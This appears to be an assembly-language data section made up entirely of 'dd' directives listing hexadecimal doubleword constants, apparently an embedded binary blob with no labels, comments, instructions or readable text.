dd 7F2BEFE4h, 9A0B6E61h, 1F5380h, 0F7C0642Ch, 5B203BA2h
dd 7C01523Ah, 85416140h, 0C0A860F8h, 1E4C7400h, 58128708h
dd 0E7C600BCh, 65A697A9h, 290EA142h, 0E0718C8Dh, 0D7BEFB5Bh
dd 787700EEh, 0A0C66F7Bh, 0E50D0129h, 50B76556h, 0EC918E20h
dd 0E66858DFh, 870E040Ch, 930F6E20h, 846C81FFh, 0E4C094B4h
dd 0C0707468h, 7ED9D7A8h, 0B80028B2h, 0CD18DB8Ch, 7E776E60h
dd 0DCD3002Eh, 66B6E7F7h, 5C0061A3h, 0E8DB1867h, 9026D2h
dd 0CE7975A9h, 0FCE04465h, 749E4700h, 0BA7F4B2Fh, 33E80768h
dd 0F0DA6AFEh, 7CE44A6Bh, 5B1F781Dh, 4592A500h, 83065Fh
dd 604F35EDh, 0E56A836h, 2A0BD1F4h, 7CA1E60Ch, 0F3860038h
dd 376A7950h, 0BEF8F00h, 754A23CAh, 5A0100AAh, 6BDFAC38h
dd 0C9729BA3h, 7CA92012h, 53ED2F00h, 783086FDh, 24D700E9h
dd 0CBCC934h, 0D200DBDFh, 0F0F26F27h, 8065A0h, 3C8F573h
dd 90A1785h, 0CCD02A1Fh, 69402744h, 89FDDEC0h, 2080633Dh
dd 1D90F46Fh, 780C93EBh, 187ED8A0h, 7273008Ch, 0BC186441h
dd 800FA51h, 0EED1D21Dh, 31FC36h, 0F6197029h, 0D7011779h
dd 35764300h, 44E937C1h, 0D8140068h, 0B80A3B42h, 100C8712h
dd 7834F3A2h, 650200B2h, 0B70C1AA0h, 9500C33Fh, 0BE270F0Bh
dd 4C5337B5h, 1A01876Ch, 0C4A08248h, 0A6880E9h, 0A2CB5C43h
dd 0E9D7E8FAh, 8F61ECh, 0D54986A4h, 3C8BD8C0h, 44731700h
dd 0E0B52B48h, 0E4AB00F1h, 0D8E7745Fh, 70F78AAh, 80F39756h
dd 6561F010h, 0FF800CAh, 0CECC8AE5h, 9C0038B3h, 7D4A7BEDh
dd 0C7A5BCh, 0F4750C41h, 67F83445h, 0D3008C72h, 0C2D283E8h
dd 9D377Bh, 0EB885BF5h, 65699020h, 928C0B5h, 972B1EF9h
dd 0DD13006Dh, 20764C19h, 0ED650703h, 0B64C8F7h, 5FF90568h
dd 7ED38800h, 657C668Bh, 94CC1700h, 0B17674BAh, 7C7B13F9h
dd 0A93F00FEh, 0E8E61F42h, 0CAE55A00h, 3EC4BFFFh, 24677AA1h
dd 0BE0138h, 72FE98C1h, 56003B62h, 0E0202BCBh, 4B3973h
dd 0F1066C2Fh, 0AFB8E29Ch, 0C7DBB000h, 6B1ABB98h, 32690080h
dd 83202467h, 5F006406h, 9789101h, 3C6A9F76h, 68812377h
dd 628EE408h, 51418CD9h, 47798Dh, 39AF5BD0h, 98E2575h
dd 387C1800h, 570CC562h, 0A81E00D8h, 0E6805F37h, 0C987B3Ch
dd 2CCCE3Ah, 7C3B8AD9h, 0FC94E0F0h, 0E1111FC7h, 3213077Eh
dd 22F820BFh, 0CA4CA9D3h, 68FD0074h, 0DDFC8A24h, 500A00C6h
dd 2A5286B7h, 55001D59h, 6D56CEFh, 1F89D151h, 5ACEA5h
dd 0F3C90E5h, 3B00F0A9h, 9C418B54h, 78CE11D7h, 46AF0FB6h
dd 0C6212787h, 20785FC4h, 8400C972h, 0FADF5641h, 3CC7DBAh
dd 8D0B758Ah, 0EBB82E4Fh, 0C5003153h, 1BC459E7h, 2D9EA1h
dd 0B27871E9h, 0B54B18F0h, 57AF4F00h, 2355424Dh, 0B7C1E53h
dd 9F215D54h, 21495804h, 3F035D6Dh, 72971596h, 8373C075h
dd 0AEA207BEh, 20A0D757h, 7844B0BAh, 8AFD5F00h, 4F3751EEh
dd 0C2F5308Eh, 1475ED29h, 0C50CBD00h, 6E46317Ch, 0C0F0E87Eh
dd 2BB79221h, 6B0184C4h, 1986FFAAh, 20F2FEE0h, 787B7169h
dd 0BD610F00h, 58CC58Dh, 7E150A17h, 3A8DD5CEh, 1D3B3C86h
dd 39CCE841h, 43BCF04Dh, 3DC4019Fh, 55E37C48h, 8488770Ch
dd 12237470h, 1993BF9h, 0A4EC0BFCh, 3F219371h, 7D39E00h
dd 30CFBh, 8A8043F5h, 0E3CB9A58h, 0A5C67D00h, 5F5741BDh
dd 70590054h, 0FFA24D5Dh, 0B000E671h, 0EDB92297h, 0F26C3D78h
dd 31B40EFDh, 92A02E5Ch, 4D30014Fh, 7899B10Ch, 77C8BCh
dd 9FE96268h, 0C713D498h, 7908FC66h, 3847B21h, 30AD1B61h
dd 85E0B9EDh, 59F801D8h, 5F3F8E98h, 526070C4h, 358BEF88h
dd 1D8A246h, 418AA4D4h, 28E154E5h, 0F0D66A30h, 3DE8DEh
dd 2FEDDA7Eh, 52E4FA05h, 6BAFAE19h, 0EECC59E2h, 0A8DA0090h
dd 1A5DF446h, 0E607A18Bh, 6EFB2B75h, 4AAC7230h, 4980215h
dd 7D901653h, 19315BE0h, 9E34FA2Ch, 0CA715400h, 747801FCh
dd 0FD6E1DE3h, 64DF2Bh, 1F166A48h, 283F8BD2h, 17549FC4h
dd 1C463CFDh, 7C406E94h, 89A90647h, 0DDE6D4h, 73B6C4E7h
dd 9F2C418Eh, 0CF9C3Ch, 42C0BC85h, 0E716A45h, 8BD35519h
dd 7F2C79A0h, 0C528A69Ah, 0B8CEAC38h, 0C500066h, 5E23DAh
dd 16DD9586h, 0DE376552h, 6FE9B501h, 0B47E58E6h, 3E2FECh
dd 5EC2E26h, 5D017281h, 0E348D160h, 0A9497CCh, 0DC57B50Ah
dd 2DFC0FA7h, 0C5467120h, 0C2A04FB6h, 0F1006C14h, 9B970629h
dd 0A01CF5EDh, 7767A90h, 0E2D475F7h, 4B406F61h, 0DF5CBD43h
dd 0FBC23500h, 0ED5523D5h, 19F839F1h, 3F292A00h, 0FD43860Bh
dd 0E135803Ch, 72541840h, 0F8DB80D3h, 3A400AAh, 7B0D0E42h
dd 0F304C83h, 0D93528C9h, 1E5F204h, 1C9BF0FCh, 0C43A78D3h
dd 0C015FD2h, 0D68B02C8h, 3080C21Bh, 66B3F273h, 0FC0FF809h
dd 93F035C0h, 0B46B8C00h, 5C492FC4h, 0EB07845Dh, 0A381EE0Dh
dd 1800C605h, 0D42923B5h, 11B34257h, 0CB79E3h, 17620ADAh
dd 0E93A9EEh, 372AFDD0h, 0EAE65163h, 0ADDCD2E8h, 0E445C50Fh
dd 0A2310195h, 408390FBh, 0F98EF006h, 4F6A8800h, 82176526h
dd 29630F7Fh, 53C1914Ah, 0E00C551Eh, 6B006689h, 988AAFF2h
dd 674E4Bh, 65B4402Eh, 3CCDD3D5h, 37D71C00h, 5D47327Eh
dd 88AD0006h, 0E50921DCh, 64005B16h, 5A9720FEh, 4A4814h
dd 5783618Dh, 1327912Bh, 52173Eh, 81DF1AF8h, 982FB789h
dd 727609h, 405B06B1h, 0F6E9B347h, 0BAC5FB00h, 0AD74497Bh
dd 284B00EAh, 1C7D16BDh, 0F370C836h, 0FA5BC400h, 0B2492C27h
dd 78661D1Bh, 92A40FCBh, 0F53F55A0h, 2600B391h, 0CD62D068h
dd 3C3595h, 939FF2Bh, 0C1B26593h, 4C0FBBB0h, 60AA7A7Ch
dd 42F63028h, 32CEE80h, 0B4ED32DDh, 90C80E83h, 98A29A35h
dd 0D6418020h, 2201E78Fh, 68F243B8h, 5CF0052Ch, 4D4203ACh
dd 32647F86h, 0A30031B6h, 0FE21D9F5h, 491F68h, 0F640E2FBh
dd 7A19502Fh, 6360AF74h, 628F8840h, 0A6F3A0B4h, 0EB31D38h
dd 0D70400C1h, 45A28322h, 1E0092B8h, 5C55CDDh, 1FA73DC3h
dd 802E1ADEh, 0D0B2AE4Eh, 58F67E4Bh, 2CC42601h, 2542BB53h
dd 39B754D0h, 601D33B6h, 5831431Eh, 7EE0D95Eh, 860F11ABh
dd 1F12AAFh, 33D770C3h, 0AD314080h, 4BD21D66h, 0DF6FAC1Bh
dd 7D13E030h, 4F330081h, 0D2FDB79Bh, 0E517F35Eh, 0AD0FDE87h
dd 284200FBh, 694BC5h, 0F28B7C99h, 3635251Eh, 0A43F5A15h
dd 52EF052Ch, 0BECCB2h, 5A9C26DFh, 0F619DA08h, 0CB997E91h
dd 0C2D370h, 0C5D7F219h, 7AA85B9Fh, 0E24091C3h, 2EF0037Bh
dd 3D8671C3h, 13A01800h, 15AC2D3h, 2AE91C1Ah, 5428F0C0h
dd 0B902F169h, 0EE1E7DDBh, 9C98AE25h, 1F5A5B00h, 0E5D2E7h
dd 8D6B17CBh, 0D684F1DEh, 35C4F300h, 33BB9302h, 0E07CC0h
dd 94A61B7Ch, 71652F1Ah, 3A2AC401h, 0CB925B31h, 68F82450h
dd 0B3F10CE6h, 414CA7C4h, 0BBFE8679h, 0E234C8C6h, 0AE000D1h
dd 0B481B743h, 53BC207h, 845E83B9h, 8018BE66h, 0A02C120Dh
dd 1E0BFDA0h, 1CBF756h, 0F292B060h, 5BD0F3D1h, 7E3C4A3Bh
dd 0BCE20052h, 5A096AF5h, 2F051E40h, 1C52CF2h, 8D5331D8h
dd 3724F87Dh, 47110D0Bh, 73E0003Ah, 3AF0F96h, 0E89E6E45h
dd 60F3691Eh, 8DF2EA00h
dd 425B21AEh, 599F07FDh, 0C030F00Ch, 640E4EBDh, 0CA5DDA0Eh
dd 6D46C145h, 1E5B7AFh, 63719FE0h, 4FA068EAh, 2C4889B2h
dd 0AD604CC4h, 6D1353C8h, 0C9D100F8h, 2881AA9Ah, 0FFEE9698h
dd 0EFAF3509h, 4F64019Dh, 0EC401C62h, 1DD2A075h, 6C2631h
dd 771DC4C6h, 50072CE6h, 0FE2380F4h, 0A83C9703h, 2ECDEBA3h
dd 950731h, 0BE6B2620h, 4A00E9E8h, 8EEFE254h, 24C88Dh
dd 0C36232B9h, 921455E1h, 0BF67D100h, 5E4BF1D5h, 7B702C9Bh
dd 0EBC200B7h, 95D405AFh, 0A95814F0h, 0AD170036h, 0FAB412A6h
dd 0CC8B07F3h, 0F026D210h, 83272F2Eh, 97BE9A00h, 0AC12FE61h
dd 0B2470017h, 1040C6F4h, 88A0C3B7h, 9C000C6Ch, 0CEABBCA7h
dd 33982FDh, 6EEC6A6Fh, 0F2F885A0h, 18FE9AC8h, 114C2600h
dd 75660229h, 0CDDA0E13h, 0E4C3ACBEh, 0D1C08CDBh, 30704A82h
dd 7A94C601h, 0B95A585Ch, 0F1ECE3DBh, 10801609h, 0A6B8E1B4h
dd 0FC001DA1h, 8964E2BBh, 202F08h, 0C97FAC9h, 50032D28h
dd 0CD00DD74h, 15127EECh, 0D91805h, 5C58A3D1h, 0DECC6831h
dd 80D28A07h, 0B5F03BDDh, 9D16AEh, 344E6FB1h, 71875213h
dd 4109CC2Ch, 804AF600h, 0DA17A9h, 67734DCBh, 0E4D419FDh
dd 3A23348h, 930E55D3h, 1438E0D2h, 30B561C5h, 0CC29A6DFh
dd 8CF40668h, 1CCBF02Ch, 0A472EA00h, 667F80h, 2BE4350Ch
dd 14BAB19h, 0A5E48BB8h, 6DB12700h, 4F4E4DAEh, 0F1C41DB2h
dd 8A4480C2h, 8B01CC32h, 8C888500h, 7778F7CEh, 0D79B0007h
dd 31A66B44h, 0CB030363h, 7BC3F1B1h, 1B51D8D9h, 3B8D00AFh
dd 14311ED1h, 2FEC406Eh, 10D2D800h, 6781240Ch, 0B08A0047h
dd 0C04A6D65h, 0CF073FF5h, 96CBD0FFh, 7B2FACA0h, 0E6920093h
dd 6A7930DAh, 0BC00432Bh, 5132AEF7h, 8DB3D4h, 0C3CA17C1h
dd 69B95EAFh, 9B125414h, 0FFCE00ADh, 0CBFA202Ah, 96DF019Ch
dd 92EBC1AFh, 415424D8h, 91AC3C00h, 4C80F71Fh, 5AFA0FA2h
dd 16806ACCh, 6D0BA79Eh, 1ADBA03h, 98CB55A6h, 0FA8D0Eh
dd 0DC4D2FD3h, 0D542485Ch, 0C325E303h, 733CD968h, 43A816E8h
dd 40F0144Dh, 972A0700h, 7E51D9AFh, 0C9FD3E00h, 0D0163B93h
dd 0DF620011h, 0B1ECF0F1h, 0E40392D3h, 31841909h, 5C90976Dh
dd 3E12458Ah, 5180C624h, 9278DEB9h, 200908C0h, 81359E77h
dd 36E1ACDDh, 0EE8099F9h, 0C687093Ah, 223D758Ch, 0BECB3AC9h
dd 67868015h, 2B453BF2h, 0AA7224E2h, 51AD0354h, 22D80DB8h
dd 701DBAC2h, 9A00FA69h, 0B38EDE99h, 0BE6700AFh, 40C3FDD1h
dd 2B004956h, 3A3F20Fh, 0EF4C71Ah, 929EB012h, 904DE5E0h
dd 0AE0005B7h, 3E18FEADh, 4B094Fh, 93408E74h, 9A776EA5h
dd 0B70D1D00h, 166657ABh, 0BEE803h, 0F8AAC7C1h, 0FE2646EDh
dd 0D2E0C800h, 28F16AE6h, 0F6CD001Ch, 0AA45B133h, 0B6067ACEh
dd 76D2BACCh, 997750h, 9FE59BFh, 6FE0AA39h, 0B184D300h
dd 1DD23C3h, 401C0005h, 0E5A0870Bh, 0A3040D18h, 4D3178Ah
dd 49B5E490h, 7A640002h, 0C0543A86h, 0C600F6D0h, 2A4EA5DBh
dd 630AC5Eh, 0DE2E39AEh, 0B50054EFh, 9197C0B2h, 1C7223h
dd 9EB7185Eh, 9D49587Ah, 3FBE7300h, 97D5A647h, 48510088h
dd 6007AB31h, 4600187Dh, 78610F8Dh, 594E50h, 376DE3F6h
dd 0C823731Bh, 0F4D2720Ah, 0D783D885h, 0B89267B7h, 725EA4B3h
dd 34A70E01h, 1CC0CD46h, 0A6F861Eh, 0C1DEA600h, 481FEB22h
dd 93910010h, 43CAB03Eh, 7F7C5407h, 157BDC18h, 2B15EF8h
dd 9811D224h, 9440F716h, 8330FA0Fh, 0DE331EC5h, 0ECAC0E04h
dd 8805836h, 7FFF2028h, 0A110A400h, 2146F53Bh, 0A58A0992h
dd 0AC805C38h, 0DA416576h, 903EBC92h, 0BE840050h, 0B7349DADh
dd 0A47D48C1h, 77C3D863h, 8C3D449Fh, 4F3CFE70h, 68B1243Eh
dd 64ADDA07h, 6E66C5C0h, 7C4574BEh, 0EC38A830h, 0A2E600E4h
dd 551AD088h, 18C02C96h, 945918D8h, 44FF0007h, 8B418349h
dd 0AE7A5FE7h, 0D4667A00h, 0CFDF0B32h, 0EA840788h, 0C0AF4B20h
dd 5F595087h, 0C305B413h, 0BF731200h, 1461DBD0h, 0D0C403B5h
dd 0DA233600h, 6350D76Eh, 0AA7E761Ch, 0C3402040h, 0DBA760h
dd 0EC59FB27h, 6CB7E3BCh, 0E5A95803h, 0F8C59E0Eh, 3C23C17h
dd 0D5658851h, 55C8A6A8h, 4D1659DAh, 0E401A15Bh, 6D29A8Ch
dd 58FCAC21h, 469E0BBCh, 0FE001B61h, 0DCF3D939h, 2BD52F0Fh
dd 2D142007h, 120C34Dh, 1AFE42B9h, 0CE655251h, 0DB003046h
dd 6B8F711Eh, 3A9E8C75h, 289ECBDh, 0EB8172BFh, 0E0561F5Eh
dd 970073ACh, 0AB2345D7h, 1D559089h, 0EAFC07B7h, 257306A0h
dd 30F5697Bh, 35AFE207h, 0E5404570h, 1381C57h, 0BB7DF940h
dd 405DCD4Eh, 0DC7332E8h, 0E9945A03h, 0C8F286A4h, 4B633A7h
dd 6A91DF9Fh, 1C87ABh, 488BA1CBh, 0C4C2AF04h, 0A4D0FEF0h
dd 0FE542611h, 291092B3h, 7542CE0h, 5240E391h, 44003A0h
dd 0EA24F73Bh, 80BE30C5h, 0AA4B6A54h, 74BBFF45h, 0DEC90066h
dd 58C412A8h, 84002110h, 0E0EB0991h, 99AF4EA0h, 9A434E6Ch
dd 0E6F8E1F4h, 93E2A13Bh, 6B04CC00h, 9D2DEDE7h, 0FF703Ch
dd 0D9C011C8h, 77CDC98Bh, 0B7C65200h, 7B491419h, 7EA100CFh
dd 4607606Dh, 6100DC8Ch, 713B5036h, 0F8E8D9F6h, 5C2BECEDh
dd 200A5AFh, 325F7B6Bh, 9B002E49h, 26331EE7h, 90CAE631h
dd 8A1A00FCh, 2C16F2DCh, 4B2FECCh, 7ABF4000h, 270E12FAh
dd 28D34852h, 0CA797300h, 2561B29Ah, 691F3275h, 0DF8BDB07h
dd 48280062h, 337EEDh, 5DA2D123h, 2268C59Ah, 4A305E00h
dd 6FAB09F9h, 0C864285Ch, 43F043C4h, 2D5500E4h, 0B019EFF5h
dd 271B005Ah, 0ACD24BDFh, 0BE006D3Eh, 35EEE88Bh, 728C0C13h
dd 0BAB300C3h, 0B03FB7CFh, 914F1Fh, 7402EE16h, 0C52ABFh
dd 9BCD2FEFh, 48E23Eh, 26450841h, 0AF9C3F6h, 0C589FF03h
dd 4C3B8044h, 0DBB2BF76h, 3904800h, 9F93CBDEh, 0E77AC0C5h
dd 914B4530h, 726D7303h, 8056EC86h, 241517Ah, 0E13AE4BBh
dd 5C60AFA6h, 3038754h, 0F2995F7Eh, 0D5DEF8DBh, 129EF8E0h
dd 534BF443h, 936C0588h, 60D0C771h, 9B2B322h, 74FB9F0Fh
dd 5773E08Dh, 15D1D8h, 21DF110Fh, 0DB861879h, 0F100167Fh
dd 0F3BCD641h, 8BBF6Ah, 4D577A9Dh, 79D7E3D2h, 0D8D34800h
dd 0DD028CB5h, 19950034h, 171120Ah, 53B8133Ch, 5705CFFAh
dd 0D4D39D20h, 0E081FB0Eh, 438BC834h, 0ECB8F867h, 9B4E1F84h
dd 0B74F03C3h, 0C0094D37h, 251A98h, 3F169226h, 60AB09C6h
dd 0AC0E738Dh, 600D8267h, 1F7EF21Dh, 0C6DB8E07h, 923359D3h
dd 88D185EDh, 0C2273E6h, 0BC90F0D4h, 8E351300h, 0D75B4CBFh
dd 4838EC5Dh, 95BB05D8h, 0D4900E27h, 75989Ah, 4F73BA43h
dd 0A54B46CAh, 5FDC8200h, 78E6A8D2h, 80B0D7h, 5D9116A4h
dd 0EDEC9A0Ah, 3981F117h, 880FA1B8h, 8C803794h, 0DF9317A9h
dd 0C061DE00h, 7F77D6A5h, 7AF10366h, 544AC410h, 0E0027CE8h
dd 1F0F7F2h, 9499D09h, 0EE4C988Ch, 41AB001Bh, 0CE541D8Dh
dd 290B017Dh, 84A0E505h, 0BCD1E22Ch, 51C46FF9h, 64768Ah
dd 15DB50C9h, 0A1395D54h, 5E2E0F01h, 319EFF8Eh, 0B4FCCCh
dd 2FDE1590h, 59A25CCCh, 441FA600h, 0CBB1E34Ch, 0C4991FF0h
dd 804700E8h, 895114FFh, 81EDA601h, 827CB41Bh, 7469FF70h
dd 0F424F929h, 4C984C0Fh, 5F2E263Bh, 85530384h, 0B2E22021h
dd 0F1C65C68h, 41ACA800h, 0DBBA22E3h, 0F0EA3A07h, 0BC37BE80h
dd 0F5ABAFD0h, 0B90B5000h
dd 4B0A8E22h, 2FD20764h, 3067012Dh, 4387DCE2h, 24200600h
dd 3846CB72h, 45AD00E7h, 4D495EE6h, 41744091h, 8A8EA400h
dd 7BE04BE4h, 0E626031Fh, 71C6D1CEh, 8E89FBD0h, 803A6700h
dd 949B632Dh, 1729E85Ah, 0F00550h, 1A68950Bh, 0C11D02FFh
dd 13803782h, 394EABD5h, 0F85D01FDh, 2906944Ch, 0B2C824E5h
dd 0FE2DEC1Ch, 0F142300h, 95B7A09h, 0DD4212D1h, 594524C0h
dd 0AA991C00h, 0E269E8C8h, 285B3FE5h, 633CF409h, 42C57C80h
dd 903B8A8Fh, 3A106727h, 0A7754080h, 806807D0h, 0D03E7BA6h
dd 0B181626Ah, 5B546C00h, 0D55E75FBh, 0F79800CEh, 8F3FA959h
dd 3E302B9Fh, 4A088023h, 84C85017h, 285400B1h, 60FE8FFBh
dd 190C9475h, 0A44006D5h, 8BE6B0h, 0ECC185EBh, 26087E21h
dd 553A3E00h, 4C290E91h, 0A5DC00F0h, 0D5C2095h, 430BC64Eh
dd 8096E2FCh, 28CFED47h, 5BF20068h, 0D8CB4F30h, 3C00B7D6h
dd 0CA58561Ch, 0D73BA4h, 907B9757h, 0FFB24D9Bh, 1EF34F26h
dd 0FC923300h, 0E7AB89h, 0D871D379h, 28905D37h, 0BC539800h
dd 0E6959458h, 57930080h, 0DE2A01DBh, 6126B439h, 0A900C476h
dd 9590C2Dh, 987C0057h, 0B45341BEh, 58246FBFh, 3400A6DCh
dd 0EEBDC30Dh, 0B50C0B79h, 8D036E9Fh, 3DF833C2h, 0E03F7E88h
dd 1A0700DCh, 0BD7A8566h, 77680096h, 7649BBBAh, 75002A2Bh
dd 36DD59C0h, 28B5873Bh, 0B4C2E3h, 6A2DBA8Ch, 0E25619B0h
dd 0EB40360Eh, 0A58B8B88h, 80EF03C8h, 839C6AD2h, 0C1CA600h
dd 7A6721E5h, 0C8363BC5h, 0B7FC7700h, 0D49850B3h, 84AF2612h
dd 0C240281Dh, 0B45D5386h, 5C7701C4h, 886A52CCh, 7208082h
dd 3FBA80B9h, 0A781002Bh, 943217C8h, 0CD3C04CAh, 0B0520967h
dd 0B1ACA035h, 3D24860h, 73E9F242h, 824C2F3h, 0FF802050h
dd 0B7924B6Fh, 64DD0C2Fh, 7358DB45h, 3213A80Bh, 51A0A05Ch
dd 98216Ch, 0E104C8B6h, 8981F46Bh, 24DB353Fh, 0DC804829h
dd 0ADEBEEFFh, 0CC70002Eh, 8338097Bh, 8407CD11h, 0D7553235h
dd 0F9582039h, 7C252E6Dh, 238A0314h, 83F51BC3h, 0E3F1D000h
dd 0A1A2ADFDh, 43991ECCh, 153F808Ah, 19C1ED78h, 1C429E00h
dd 7B56772h, 0DA1F008Eh, 924801A6h, 657EECA8h, 53B01B0Fh
dd 0B905D3DCh, 8D05C75Ch, 0AD806EACh, 0F8243Bh, 3C641628h
dd 0BA036794h, 0DE909100h, 0F3549E22h, 664300D8h, 0D9931497h
dd 0C2008878h, 0F9990C1Fh, 33DCA39h, 4A0DB7Ah, 0D8B88902h
dd 0CE60B85Fh, 38C0DDA0h, 0F1A10048h, 2590E73Bh, 177131EFh
dd 685D4100h, 55564462h, 0B11900C7h, 0A1B6C2FCh, 42009B02h
dd 7E4C7AF8h, 3E58D872h, 779C216Fh, 0EA43004Dh, 0DE5B13CBh
dd 0D931D401h, 3971FCC5h, 4D7800DFh, 0BEF747E7h, 0B4009DC1h
dd 0DDFBD0B6h, 7C5D9271h, 0FA18004Ch, 7D8E304Ah, 1B05A565h
dd 0A0DADDA8h, 2C1C584h, 19F02190h, 604B1F1Ch, 6AAB803Fh
dd 29EA7203h, 4D00B178h, 0AF133817h, 1E713D08h, 163E37CFh
dd 6101EEDDh, 0F8DEF4E6h, 18C3E3E8h, 2034D2AFh, 0AC03127Eh
dd 7DBFE184h, 61C0F883h, 3FA20023h, 3BABF8D5h, 0BD0E09F7h
dd 80F1F585h, 71763E52h, 88116070h, 8D8B2D6h, 8AA3A700h
dd 4AF9C4CFh, 6FA50C22h, 0B2693F6Ah, 7B27DE00h, 0DA50CD8Fh
dd 12AB1C19h, 0AF34C05Dh, 0E6B6BB65h, 934A3Eh, 27BD0802h
dd 797EB0Bh, 32FEA3A4h, 584E26B8h, 2925A902h, 0D5443D73h
dd 35A2C160h, 0DAA7760Eh, 0C0378FE0h, 662223C6h, 2CF00081h
dd 67B15D7Eh, 0A400E242h, 7BAB082Bh, 1499B5Ch, 3E246C2Fh
dd 0F8CB4507h, 0F42C4671h, 4000D70Ah, 0B1168DC3h, 7AA70349h
dd 0AF106AE0h, 9BBBE3B8h, 5E2BA500h, 472D771Bh, 37BD5802h
dd 0D8A2D301h, 7B591778h, 3C56B0h, 2180A10h, 34A43753h
dd 1446EC00h, 0C6DFB077h, 0F7614CFCh, 13BB507h, 37F710B3h
dd 0D70E2385h, 60B76D1Ah, 7B946A87h, 2488005Fh, 0B22FE8BCh
dd 0DB0E4868h, 0E71FE74Ch, 0D7C0E58Ah, 1B54344h, 0D57CAC1Eh
dd 6B656CC9h, 0AEDF80C0h, 24A90333h, 89E5D056h, 8EF1D5C9h
dd 0BD603F21h, 98F7BD00h, 6FA0FCh, 76B4B7B5h, 0C5FD822Dh
dd 41FA2C1Eh, 0F3CB25C0h, 0E68794h, 0A37D6EEh, 53BD9503h
dd 7435C001h, 0DD9192Ah, 0C34AE940h, 96793EA7h, 0DEF6409Ch
dd 0A4C40066h, 67082D2Ah, 0D40C940Fh, 0F6C2A317h, 0B31DEDC9h
dd 202ED80Dh, 10ECDFCDh, 3C200574h, 8151C7A0h, 8C6C0166h
dd 0C9F76E71h, 28EE0008h, 0E367B293h, 0F0E90EB9h, 0A60037A5h
dd 6192B16h, 30756B2Ah, 8161E9D0h, 0E860A9EEh, 45952040h
dd 970E07BAh, 9EBB1298h, 877537C0h, 0F607F9F8h, 29393826h
dd 7EFB13D0h, 8B0A0096h, 6B2FCE3Bh, 67297C58h, 8180BCD2h
dd 14AADDAEh, 30D542DBh, 7C5D71B4h, 0A3840965h, 7E0034C3h
dd 3CF7C5DBh, 0A25CB502h, 8038E017h, 0E2B151B0h, 0CA1A0094h
dd 0E98B1284h, 0D00ED364h, 0C0882EFEh, 2373DBBFh, 0C5E50F60h
dd 0DDE73C14h, 0FCECA0A8h, 43169869h, 100ED82h, 4917AB80h
dd 8F1D035Ah, 92614D89h, 1F302000h, 1566F736h, 0EB2601A5h
dd 54B4FBCCh, 4BABF814h, 0EA3BB200h, 805E084Eh, 38506316h
dd 88A8F24Dh, 2033566h, 0EC85725Fh, 4929A060h, 289998ACh
dd 877471h, 0FE8431A4h, 0CBBECAA5h, 4D83FB19h, 95D09880h
dd 11AB6040h, 180B78E2h, 36300A03h, 18328557h, 204B3C08h
dd 0B004E45h, 0FD0CB6E4h, 0E5C0E8h, 0B5DDD2CBh, 91ACFBD9h
dd 80EB1207h, 4E438539h, 9AD01D11h, 0B5B286DFh, 0E1EEC84Bh
dd 378BC6Fh, 97C89FF3h, 0E6670760h, 9BCB0043h, 4A22DB23h
dd 69027513h, 2F386371h, 6526C020h, 1E5F0068h, 0E61070A6h
dd 8800A70Ch, 54631D38h, 922D2BAh, 5CD71ACAh, 119EA780h
dd 260339EEh, 0BB83D109h, 2280B806h, 58B4E618h, 0C907E3E2h
dd 507C2C73h, 2B5425Fh, 0BE866E00h, 768E7D35h, 0B0FE8Fh
dd 0CD2ED1F4h, 0DED9E160h, 222F7700h, 50D736A3h, 4B801E1Ah
dd 0D25870B5h, 7D0003CFh, 66FCCBBAh, 183178h, 0C011C5D4h
dd 9B99A84Ch, 0A0370300h, 0CABF2384h, 825500EEh, 0AA5375ABh
dd 601D75Fh, 81AD9373h, 0F0FF6FD9h, 0A0993FB0h, 0FA3757A4h
dd 5590C3Dh, 0DD3887E1h, 9B175C00h, 0BEC524ECh, 3D40072Ah
dd 50652BB5h, 13569308h, 981FB102h, 0C04583D3h, 9369A5Ch
dd 5DCD0B23h, 0B9B75501h, 3163E412h, 0D4004E79h, 0A9673882h
dd 0C72111EEh, 63F12DE0h, 60005A43h, 0A65879ECh, 15CEFB7h
dd 0BAE67CBDh, 0E434BE2Ch, 5303A175h, 907931D3h, 0EC7800D9h
dd 64BF0F28h, 58005763h, 14EE65CAh, 9CB135h, 762EAF56h
dd 8E216040h, 5D4D6700h, 0AC4F7F05h, 0D54300D0h, 8046C6FEh
dd 7000F56Eh, 9505F61Eh, 0F9F3F69h, 3137C786h, 3854A100h
dd 0D100E3C9h, 0E0EFF933h, 3DF69641h, 0A78331CCh, 0A4E11085h
dd 68FE2800h, 867FD4Dh, 1C0B0E34h, 58802C50h, 0B0384A74h
dd 2A3F2B0Fh, 0B96B228Dh, 0D1AD6086h, 741AF0FBh, 0FEA9001Bh
dd 2230900Eh, 0D7C7F06h, 0B07A9F30h, 187492EDh, 28FDA239h
dd 55005282h, 56E5CE19h, 90E08Fh, 612BC123h, 73D91B5Dh
dd 0F0F9A812h, 0AE7F3300h, 464ECAh, 9B7E96D4h, 7A73083Ah
dd 763EF94Ch, 0A56A7B1Dh, 0F20B3341h, 23E0F35Eh, 99660793h
dd 0A0AC4139h, 2A8E8536h, 0C405741Fh, 8D297080h, 0C0069CF7h
dd 0F5993910h, 0FC07365Ah, 38CAEC91h, 2575EB00h, 471E0033h
dd 0F3068D22h, 20007B53h
dd 888C506Fh, 77D2DAh, 1FF6C84Bh, 67DBCBFAh, 0D01FE74h
dd 0B2FC956h, 38F0C480h, 3D111FE2h, 1E8C406Ah, 0A046A2B5h
dd 93723007h, 15C0C4D0h, 0AF2A312h, 5A059A14h, 62002F81h
dd 0FA0DB5C1h, 8D3BB001h, 0D52A9780h, 0D1B3D8h, 68B96ADCh
dd 44BB346Fh, 70121130h, 0AB5E65h, 0FD4C090h, 48992024h
dd 0DB88E260h, 7DAE2F87h, 254B00D2h, 0FEC02D6Fh, 0EF00BC22h
dd 0B8FAB959h, 0A938EDh, 98D01219h, 617B28DCh, 0C1D17F1Eh
dd 21AFA407h, 99CD94E0h, 281E0185h, 0C957030Bh, 0A42BCC4Bh
dd 1FA17300h, 0A9E5AFDFh, 0DAD60153h, 0DC9E3B69h, 0A699C4E0h
dd 4CEFE200h, 0C6191E62h, 0BA05006Ch, 0D951773Bh, 0B400A8CBh
dd 0E8A07A75h, 5987E70h, 0ECE37DA9h, 7803C0D2h, 0B7006322h
dd 0CEF6B231h, 0E4BB0Ch, 0BE15519Ch, 1247EB0Eh, 7CCADF00h
dd 0D8041FB2h, 34AD078Bh, 0C08CC9C5h, 571B4550h, 7060ED07h
dd 9CA0D852h, 2FC24h, 0F59DF06Fh, 0CD6971DDh, 26417F00h
dd 965A1D48h, 43FE390Fh, 567CE400h, 504449FFh, 0C3118400h
